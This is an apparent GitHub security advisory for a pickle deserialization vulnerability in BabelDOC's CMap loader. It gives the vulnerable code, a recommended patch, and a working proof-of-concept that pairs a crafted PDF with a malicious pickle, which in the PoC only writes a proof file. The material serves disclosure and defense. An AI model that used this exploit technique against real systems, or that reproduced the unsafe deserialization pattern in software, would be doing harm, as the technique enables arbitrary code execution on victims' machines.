GitHub Advisoryadvisory · PyPI
GHSA-m8gf-v64p-gfmg BabelDOC: Arbitrary Code Execution via CMap Pickle Deserialization in babeldoc/pdfminer/cmapdb.py
HIGH
Official page ↗
- Aliases
- CVE-2026-54071
- Ecosystem
- PyPI
- Packages
- BabelDOC
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-502
- Reviewed
- 2026-07-10
Affected packages
• PyPI BabelDOC: < 0.6.3 → fixed in 0.6.3
Description
Arbitrary Code Execution via CMap Pickle Deserialization in babeldoc/pdfminer/cmapdb.py
Summary
BabelDOC's vendored PDF parser (`babeldoc/pdfminer/cmapdb.py`) deserializes untrusted pickle data when loading CMap files. The `_load_data()` method strips only NUL bytes from a PDF-controlled CMap name, then passes it directly to `os.path.join()` and `pickle.loads()`. Because Python's `os.path.join()` discards all preceding path components when it encounters an absolute path segment, an attacker who embeds a hex-encoded absolute path in a crafted PDF's `/Encoding` name (e.g., `/#2Ftmp#2Fattacker#2Fevil`) can redirect deserialization to any attacker-writable `.pickle.gz` file on the local system. Processing such a PDF results in arbitrary Python code execution with the privileges of the BabelDOC process.
Details
The vulnerable function is `CMapDB._load_data()` at `babeldoc/pdfminer/cmapdb.py:232–245`:
```python
@classmethod
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "") # line 233 — only NUL is stripped
filename = "%s.pickle.gz" % name # line 234 — attacker-controlled string
...
for directory in cmap_paths:
path = os.path.join(directory, filename) # line 241 — no realpath/canonical check
if os.path.exists(path):
gzfile = gzip.open(path)
try:
return type(str(name), (), pickle.loads(gzfile.read())) # line 245 — unconditional pickle
```
Path injection via PDF name hex-encoding. The PDF specification allows name objects to encode arbitrary bytes as `#xx`. The pdfminer literal-name parser (`psparser._parse_literal_hex`) decodes these sequences before handing the string to higher layers. Consequently, the PDF literal `/#2Ftmp#2Fattacker#2Fevil` is decoded to the Python string `/tmp/attacker/evil`.
Python `os.path.join()` absolute-path override. When the decoded name starts with `/` (i.e., it is an absolute path), Python's `os.path.join(directory, name + ".pickle.gz")` ignores `directory` entirely and returns the absolute path unchanged. The trusted `cmap_paths` directories (`/usr/share/pdfminer/`, the package's own `cmap/` folder) are therefore completely bypassed.
Data flow from PDF to sink:
1. `babeldoc/main.py:611–622` — CLI accepts a PDF path; only existence and `.pdf` suffix are checked.
2. `babeldoc/main.py:678–679` — path stored in `TranslationConfig(input_file=file)`.
3. `babeldoc/format/pdf/high_level.py:472–488` — `translation_config.input_file` enters the translate pipeline.
4. `babeldoc/format/pdf/high_level.py:805–848` — PDF saved to `temp_pdf_path` and parsed with `parse_prepared_pdf_with_new_parser_to_legacy_ir`.
5. `babeldoc/format/pdf/new_parser/native_parse.py:60–70` — prepared pages loaded and interpreted.
6. `babeldoc/format/pdf/new_parser/pymupdf_prepared_page_access.py:25–34` — PyMuPDF opens the PDF and builds page resources.
7. `babeldoc/format/pdf/new_parser/prepared_resource_builder.py:84–94` — font resources converted to `PreparedFontSpec`.
8. `babeldoc/format/pdf/new_parser/active_font_resource_runtime.py:21–35` — page resource bundle resolves root font map.
9. `babeldoc/format/pdf/new_parser/active_font_runtime.py:79–87` — each font spec projected and passed to `font_factory.create_font`.
10. `babeldoc/format/pdf/new_parser/active_direct_font_backend.py:291–292, 491–493` — CID fonts call `build_cid_cmap(spec, literal_name=literal_name)`.
11. `babeldoc/format/pdf/new_parser/runtime/cid_cmap_runtime.py:52–77` — PDF-controlled `/Encoding`/`CMapName` normalized and passed to `CMapDB.get_cmap`. `_normalize_cmap_name()` removes only a single leading `/`; all other path characters pass through.
12. `babeldoc/pdfminer/cmapdb.py:233–245` — sink: NUL-stripped name used verbatim to construct the path; file opened with gzip and deserialized with `pickle.loads()`.
Sanitization gaps:
• `name.replace("\0", "")` removes only the NUL byte; `..`, `/`, `\`, and hex-decoded path separators are unaffected.
• There is no `os.path.realpath()`, `os.path.abspath()`, or `os.path.commonpath()` containment check before the file is opened.
• There is no allowlist of known CMap names nor any integrity verification of the pickle data.
Recommended patch (`babeldoc/pdfminer/cmapdb.py`):
```diff
--- a/babeldoc/pdfminer/cmapdb.py
+++ b/babeldoc/pdfminer/cmapdb.py
@@
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
• path = os.path.join(directory, filename)
+ base_dir = os.path.realpath(directory)
+ path = os.path.realpath(os.path.join(base_dir, filename))
+ try:
+ if os.path.commonpath([base_dir, path]) != base_dir:
+ continue
+ except ValueError:
+ continue
if os.path.exists(path):
gzfile = gzip.open(path)
```
A more complete fix replaces the pickle-backed CMap loader with a signed or static data format (e.g., JSON or generated Python modules) that does not carry executable code.
PoC
Environment setup (Docker — recommended for isolation):
```bash
From the repository root
docker build -t vuln-001-babeldoc-cmap -f vuln-001/Dockerfile .
docker run --rm vuln-001-babeldoc-cmap
```
Manual setup (local venv):
```bash
python3 -m venv /tmp/babeldoc-poc-venv
source /tmp/babeldoc-poc-venv/bin/activate
pip install freetype-py==2.5.1 charset-normalizer cryptography
export PYTHONPATH=/path/to/BabelDOC
python3 poc.py
```
PoC script (`poc.py`) — key steps:
```python
import gzip, pathlib, pickle, sys
CMAP_STAGING_DIR = pathlib.Path("/tmp/babeldoc-cmap-poc")
MALICIOUS_PICKLE = CMAP_STAGING_DIR / "malicious.pickle.gz"
MALICIOUS_PDF = CMAP_STAGING_DIR / "malicious.pdf"
PROOF_FILE = pathlib.Path("/tmp/babeldoc_cmap_rce_proof.txt")
Step 1 — write the malicious pickle to a world-writable location
class MaliciousPayload:
def __reduce__(self):
return (pathlib.Path(str(PROOF_FILE)).write_text,
("RCE_CONFIRMED: pickle.loads executed attacker payload",))
CMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True)
with gzip.open(MALICIOUS_PICKLE, "wb") as fh:
pickle.dump(MaliciousPayload(), fh)
Step 2 — craft a PDF whose /Encoding name hex-encodes the absolute path
"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious" decodes to "/tmp/babeldoc-cmap-poc/malicious"
encoding_name = b"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious"
... (minimal PDF structure with a Type0 CID font referencing encoding_name) ...
Full source in poc.py
Step 3 — trigger via the pdfminer high-level API
from babeldoc.pdfminer.high_level import extract_text
try:
extract_text(str(MALICIOUS_PDF))
except TypeError:
pass # expected: type(name, (), ) fails after write_text returns int
Step 4 — verify
assert PROOF_FILE.exists(), "FAIL: proof file not created"
print(PROOF_FILE.read_text()) # => "RCE_CONFIRMED: pickle.loads executed attacker payload"
```
Phase 2 dynamic reproduction output (Docker container):
```
[+] Malicious pickle written: /tmp/babeldoc-cmap-poc/malicious.pickle.gz
[+] Malicious PDF written: /tmp/babeldoc-cmap-poc/malicious.pdf
[*] Calling extract_text(/tmp/babeldoc-cmap-poc/malicious.pdf) ...
[*] extract_text raised TypeError: type.__new__() argument 3 must be dict, not int
[*] This exception is expected; the payload ran before it.
============================================================
RESULT: PASS
Proof file: /tmp/babeldoc_cmap_rce_proof.txt
Content: 'RCE_CONFIRMED: pickle.loads executed attacker payload'
============================================================
```
The `TypeError` is benign and expected: `write_text()` returns an integer, and the subsequent `type(name, (), )` call in `_load_data()` raises before reaching further code. The payload already executed successfully at that point.
**Attack p…
Related
Alias · CVE (1)
- CVE-2026-54071 BabelDOC is a document translation tool. vulnerability
Weakness · CWE (1)
- CWE-502 Deserialization of Untrusted Data weakness